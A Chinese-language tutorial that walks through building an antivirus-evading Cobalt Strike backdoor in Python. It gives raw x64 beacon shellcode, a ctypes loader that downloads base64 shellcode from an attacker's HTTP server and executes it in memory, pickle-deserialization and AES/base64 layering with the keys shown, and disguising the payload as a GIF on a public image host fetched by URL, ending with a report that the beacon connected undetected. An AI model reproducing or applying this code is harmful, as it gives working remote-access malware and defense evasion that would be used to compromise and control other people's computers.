环境
1、整体过程
2、环境CobaltStrike准备
- 1、kali安装CobaltStrike
- 2、Windows启动cs连接kali
3、使用cs生成payload
4、进行base64编码并且生成http服务器
- 1、把生成的buf内容base64编码
- 2、使用python生成http服务器并指定端口3333
- 3、将pl.txt中的代码先进行序列化然后再进行base64编码
5、二次编码后的代码再进行aes加密
6、aes加密后再进行解密然后再序列化一次后再base64加密，再对加密后的代码反序列化
7、新建文件转换为gif，并且上传到图片网站得到木马地址。
8、运行查看cs结果

环境

Windows：win10
kali：linux-2022.2

1、整体过程

本次免杀通过cs生成python后门—将payloadbase64加密—放入服务器下【网上方便被人下载】。
为了避免杀死，我们进行了两次编码

编码base64编码 =》aes 加密 =》base64编码加密1次解密1次
【解密之前要进行解码】 =》得到base64编码 aes解密【建议使用rc4，因为ase加密有名容易被发现】

2、环境CobaltStrike准备

1、kali安装CobaltStrike

将CobaltStrike包上传至kali，但是要注意kali是默认拒绝了ssh的密码登录。如此就无法上传文件
如果当弹出服务拒绝了就要去/etc/ssh/sshd_config文档修改。
参考的问题解决博客

vim /etc/ssh/sshd_config

把文档的PermitRootLogin行注释掉，后面添加PermitRootLogin yes

上传包

并且进入CobaltStrike_4.0目录，为"agscript"、“c2lint”、"peclone"和"teamserver"文件赋予执行权限。

#进入cs目录，这里我改了文件名原资源包不是这个文件名
cd cobaltstrike4.0/
#查看
ls -l
#赋予权限
chmod a+x agscript
chmod a+x c2lint
chmod a+x peclone
chmod a+x teamserver

然后kali连接并且监听。

./teamserver 192.168.171.152 kali

2、Windows启动cs连接kali

HOST为kali的IP地址
Port：为./teamserver语句输入后给出的端口
user：随便输入
Password：为./teamserver语句输入的密码即我给的kali

3、使用cs生成payload

使用cs生成payload

查看生产的编码

# length: 894 bytes
buf = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x27\x23\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x70\x51\x56\x46\x00\x12\x50\x39\xd1\xa5\x3f\x0b\xd0\x98\x82\xb0\x08\xa2\xcc\x9b\x2b\xc5\x7a\xc7\xb4\x29\x29\x2d\xc3\xa6\xe6\x81\xd1\xa0\xc8\x9b\x1e\x9d\x00\x03\x02\x8b\x7a\xd1\x09\xe2\x21\xae\xca\xb8\x8d\x2e\x3c\xe0\xaf\xc9\xed\xce\xd9\x83\x7f\x42\xbd\xe8\xbc\x69\x58\x05\x2b\x38\xfe\x8b\x35\x86\x9a\xb8\x63\x55\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x37\x2e\x30\x3b\x20\x72\x76\x3a\x31\x31\x2e\x30\x29\x20\x6c\x69\x6b\x65\x20\x47\x65\x63\x6b\x6f\x0d\x0a\x00\xf0\xd1\x33\xf3\x1f\x4f\x84\xe8\x66\xfb\xb2\x25\xe1\x9b\x97\x95\x00\x81\xd3\xec\x3e\x90\x2c\x3b\x63\x54\xe9\x29\x5f\x92\x32\xc5\x92\x7d\xb7\xb1\x71\xee\x16\x8a\x05\xdf\x30\xf7\x48\x95\x4b\x66\x31\xf4\x30\x39\xe2\xb4\xe3\xd9\xd9\x15\xe2\x62\xa6\x91\x29\xa6\xbf\x46\xef\x68\x64\xa5\xe9\xe9\x90\x25\x8f\xa2\x10\xb4\x85\x37\xa2\x6f\x7d\x1f\x76\xde\x42\x4f\xb5\x48\xc5\xf8\xd6\xc9\x55\x81\xe6\x6d\x6c\x77\xab\x6b\x8a\xa2\xd4\x86\x18\x79\xba\x1c\x6a\x30\x8a\x73\x40\xc9\xac\xf9\xfe\xe2\xcc\x83\xd8\x91\xb3\x6c\x11\x68\x84\x1a\x59\x54\xb6\xdd\x42\x72\xdf\x82\x51\x56\x71\xad\xc8\x05\xde\xbb\x74\x5e\xe9\x9a\x4c\x9c\x95\xd2\xe2\xdf\x52\xd8\x50\xe7\xc9\xde\x03\x88\x1c\x59\x9c\xb0\x1f\xac\x01\x8a\x33\x3f\x07\xf5\x32\x93\x8e\x38\x4e\xc9\xdf\xf8\xa8\xe3\x1d\x9a\x9b\x07\x8f\x92\x07\xf6\xaa\xbf\x17\x0e\xdd\x4e\x86\x3f\xe0\x63\xed\xd7\xe6\xf3\x74\x80\x7b\xd1\x83\xf2\x2f\xcc\xdb\x93\xeb\x28\x54\xae\xb9\x51\x88\x75\xf7\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x37\x31\x2e\x31\x35\x32\x00\x12\x34\x56\x78"

将生产的payload.py中内容给服务器

4、进行base64编码并且生成http服务器

1、把生成的buf内容base64编码

将编码后的payload在服务器中创建文本保存。

2、使用python生成http服务器并指定端口3333

如果使用服务器要将3333端口放行，如果是虚拟机也是一样的

python3 -m http.server 3333

使用浏览器查看访问

3、将pl.txt中的代码先进行序列化然后再进行base64编码

使用以下脚本进行反序列化并base64编码

import pickle
import base64shellcode = """
import ctypes,urllib.request,codecs,base64
shellcode = urllib.request.urlopen('http://服务器ip:3333/pl.txt').read()
shellcode = base64.b64decode(shellcode)
shellcode =codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))# 创建一个线程从shellcode防止位置首地址开始执行handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))"""class A(object):def __reduce__(self):return (exec, (shellcode,))ret = pickle.dumps(A())
print(ret)
ret_base64 = base64.b64encode(ret)
print(ret_base64)

获得反序列化与Bassett64编码

这里的编码是我们上传了服务器已经编码过一次的内容进行了的反序列化，对反序列化后的内再次base64编码。
即原本的代码进来了base64=》反序列化 =》base64

5、二次编码后的代码再进行aes加密

AES加密网站
对aes加密后再进行解密然后再序列化一次后再base64加密【其实推荐RC4不常见才更不容易被杀】

AES加密内容如图：
密码：ysIx0oKueJV15dkA4P3WvDjnq9giB62=
偏移量：jbMNXRf954m0WUzQ

此时加密后输入的加密格式是base64格式，为此要解密前需要先base64解密再进行AES解密。

6、aes加密后再进行解密然后再序列化一次后再base64加密，再对加密后的代码反序列化

进行反序列化

import base64
import pickle as json
import ctypes
import urllib.request
import codecs
from Crypto.Cipher import AESpick = """
json.loads(base64.b64decode(AES.new(b'ysIx0oKueJV15dkA4P3WvDjnq9giB62=', AES.MODE_CBC, b'jbMNXRf954m0WUzQ').decrypt(base64.b64decode((b'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'
)))))
"""# res = base64.b64decode(AES.new(b'ysIx0oKueJV15dkA4P3WvDjnq9giB62=', AES.MODE_CBC, b'jbMNXRf954m0WUzQ').decrypt(base64.b64decode((b'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'
# ))))
#
# print(res)
#
class A(object):def __reduce__(self):return (exec, (pick,))
ret = json.dumps(A())
print(ret)
res = base64.b64encode(ret)
print(res)
# html=urllib.request.urlopen('http://i.miaosu.bid/data/f_41570228.gif').read()[7:]
# html = html.strip(b'\r\n')
res = res[:-3][::-1]+res[-3:]
print(res)
# print(base64.b64decode(res))
# json.loads(base64.b64decode(res))

解释截断

这截取是后面三不变，前的进行取反。其目的是为了后面可以还原

进行还原是一样的语句

如果在测试中出现crypto问题，是因为在使用python是经常会用到import一个第三方库，但是有时候会提示某个模块不存在，如Crypto其实是因为Python3里面这个模块的名字变了。

解决方案可以参考这两篇博客：No module named
"Crypto"和ModuleNotFoundError:
No module named ‘Crypto.Cipher‘或‘Crypto
的终极解决方案

7、新建文件转换为gif，并且上传到图片网站得到木马地址。

新建txt文件，文件头加gif89a。在改文件类型的时候起迷惑作用。
在文件内容加入反序列化结果。【这个结果也是base64编码，只是反序列化了】

对其改文件类型gif

上传到妙趣图库http://i.miaosu.bid/获取木马地址

现在res是乱的为此注释掉反序列化

import base64
import pickle as json
import ctypes
import urllib.request
import codecs
from Crypto.Cipher import AES# pick = """
# json.loads(base64.b64decode(AES.new(b'ysIx0oKueJV15dkA4P3WvDjnq9giB62=', AES.MODE_CBC, b'jbMNXRf954m0WUzQ').decrypt(base64.b64decode((b'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'
# )))))
# """# res = base64.b64decode(AES.new(b'ysIx0oKueJV15dkA4P3WvDjnq9giB62=', AES.MODE_CBC, b'jbMNXRf954m0WUzQ').decrypt(base64.b64decode((b'bJ9jdms4c1viEV0L0iuxuBW8ciWoHvBztGfjIABjtw9js5ZCPByXWk6b9PW+9B5FPtqR1pcua3p7ZEBN6RecOcSBOgw3O06TVwJ4861eeIugI3HWEHzF9uspTVMKIQeTfHl/9xU5YyYBM0QqqAYe4cRAjVy7ZuQ7m/MpskJ6hH58S0/xvuq+qbbhiNff4tzoW4c84k+w2RCnVTpX6+PHNlSBex0B1Z4iJUQvfORLZGD64SFESnNVHoGo1uiAMcHXGoSZv4jG5bEUYPte0QDyyAoUdtF9gxm/3862yRpdFkEceURMg2Df7BIS2wUM3WOmzyXc85w3DR6VESppNIpU0MFQYsaRJ9PAqvsWnmeoXGg/KrlYZXvl5cAdMOSe3JiXJZhMoCvIAjkVXerSZ8wA2v6QVoo1hY3M8tOUAlTvQjqDr5diLnpte8Fp0L+HKDEnPew2HLFI0Jql9PpiHQUV9o6y2+KjzoPXMFWTxbsU7pBoe43rISgJycyRG1t59e6UKhnoGkZ1bu4XhJQ0w46W4EOVkteGc37YsZDu+qruWHXw4wsZNjZaYVodCH4zHxm9y8QrNlpSoZK7RXJoj1sxjJ7fOuOGciEzxIoDdfCo9uVCInDv1efJa8mCoh7apRDYtpAEhDLm+1hMqqDEgNdFH+Wny4dQjEiK/4EJgcfyB6c3+3w19k495ZozYAUGTsoiA1RDPDKIRvY7R6IPnOa84buw6JV1wgP/ly4t94hIiXUFudpP3Ir4ireKF4tywpDlFpyUSTttj9SFuUO8imGsvU/VP07IdKX4+5Q3V5jASbn6iQVWv7Grl5OC7d49gXl7LTXmaVZoRVYRf6u2Ct0VlsC1dG4VZAFiSwaWhn/iZkRGe5ETzqQxQKJE8X8UXhiFf9jXb/ojg5hcoIy9H2f5R0Qh2735dU4Kl98qDpBw2+HT2YbE9vvza3igGYpzsaMjBwUrdhQi0V1tvqwn+D++HxFafdbNjZcEkqx6QMmaCE08prKVbVoisO4EDDdzj1RZx72iLnvJ70ywS0D3WPsPrMXDJ+j1nm8HeWN/4Hgw7/mr9c+YE/dvkVFRG1+TU6ROvqoc1GPh4/2w5D6BD6nZevXwBYDqFBLnTydejM+vmmEdJOjaEEGiSoOa6eykpF8E5ReMFrHBwY/lY0EMd8oF2gwwumcC2cSseI4E5NWBH4g02iaBqNM1s4PNOmK87+Wmq+EWmFi5dna68mxBMQRXatCsdO5/TgMPDUbd9WqraC2J6XPFxEG6cV2vwFuYAvrLgC2HKWbW3cvxLtw/ugk3/C+efkTYix9nJV7Jpx4Ttg3zg4U3P1C3a1fqaR1Lap5AIVOZu/L1+QGU3aAH+0R3677L3Ihs1peR/cYQyazP613aDYlHJc6Ky4lViwbFcgLE6zsson+IYOMz9YZ0mSiLyAbp3qxMBQgLeo/fhA+5M5fcwEatUOGfus/eitDIeakkcNufLrdXaPw04gQfJ7Gre2OAcR7wXkOhHwAV6Xg0IHOHJvPWRA/KjowQEJ8xMsAMnsKkwuPrWlaYWmikNosgzZzZDx27czlIpX1UD5p0V9BrjQ9BZJQyPE18RcyDLsx0WmIKUnh0L2gGuwvnRPZGQwitwGUvwZ1JuPWqDqDxwfWLZ9eyVlhf457YehxZcv3vpJkTqNsRqwK3ofxslzkFfzKOGrzXsoBYZx2QkiHKffZXp7OhmlC+Ign/LIdd/eD1uuaUDk00i8Ti0wmF2l0ITMLQoMWwxeIOTKlY0uP1YZvFd4XPjgUqIBRU3ENfmnihuv/drwvJ92xI1/T7JYKhpvKq85sTYg4aBG0yGaE1JaviiWKrFajihuMfr+CjzMVeNmjHLOS22AlfBkRRNFGIqWzqTP//tTQu+9OoT5KWG3+NxHXIZoMKnRczmVkvocVtF88aaowVQQdBGy1URnQdURuYqVI+m0anVW0MqpkkZAetm+KXMWj7/ybRULIc45B/tVr2rFpkrRa0QkmonAgbVA=='
# ))))
#
# print(res)
#
# class A(object):
#     def __reduce__(self):
#         return (exec, (pick,))
# ret = json.dumps(A())
# # print(ret)
# res = base64.b64encode(ret)
# print(res)
# res = res[:-3][::-1]+res[-3:]
# print(res)
html=urllib.request.urlopen('http://i.miaosu.bid/data/f_82891081.gif').read()[7:]
html = html.strip(b'\r\n')   #取消换行符
res = html[:-3][::-1]+html[-3:]
# print(base64.b64decode(res))
json.loads(base64.b64decode(res))

8、运行查看cs结果

成功上线没有被拦截

Python反序列化免杀上线CS：两次编码绕过相关推荐

（记录向）Python反序列化免杀上线CS（并使用Shielden加密绕过360）
1.首先cs生成一个64位的Python Payload 2.截取其中的Payload,并进行base64编码. 3.把这一串子base64放到VPS上.并开启web服务. python3 -m ht ...
使用powershell免杀上线CS的新方式---利用图片
文章目录利用工具模拟上线总结参考文章利用工具 Invoke-PSImage 任意一张图片模拟上线 1.使用cs生成一个powershell的payload. 2.执行工具脚本并保存生成的上 ...
Python shellcode免杀
浅谈Python shellcode免杀一．前言在安全厂商日趋成熟的背景下,编写免杀马的难度和成本日益增长.很多师傅好用的开源免杀项目公布出来的同时几乎也就意味它的失效,对于一些和我一样对系统底 ...
Metasploit+python生成免杀exe过360杀毒
Metasploit+python生成免杀exe过360杀毒 1在kali下生成一个反弹的msf的python脚本,命令如下: msfvenom -p windows/meterpreter/reve ...
python序列化和反序列化_python反序列化免杀
在日常的渗透行动当中,当我们对目标进行内网横向渗透时很不幸的是内网一般往往都会部署防火墙.流量监控等设备,杀软更是成为了服务器的标配,所以如何进行免杀绕过杀毒软件的限制让主机上线成了我们首要解决的问题 ...
shellcode免杀；CS上线；获取微信聊天记录
获取被控端微信聊天记录参考: https://mp.weixin.qq.com/s/4DbXOS5jDjJzM2PN0Mp2JA 微信取证工具(随时更新,随时关注): https://github.c ...
新版掩日免杀——搭配CS使用测试
阅读前请注意: 本人发布的此篇技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站,服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵 ...
红队作业 | Python实现免杀远控
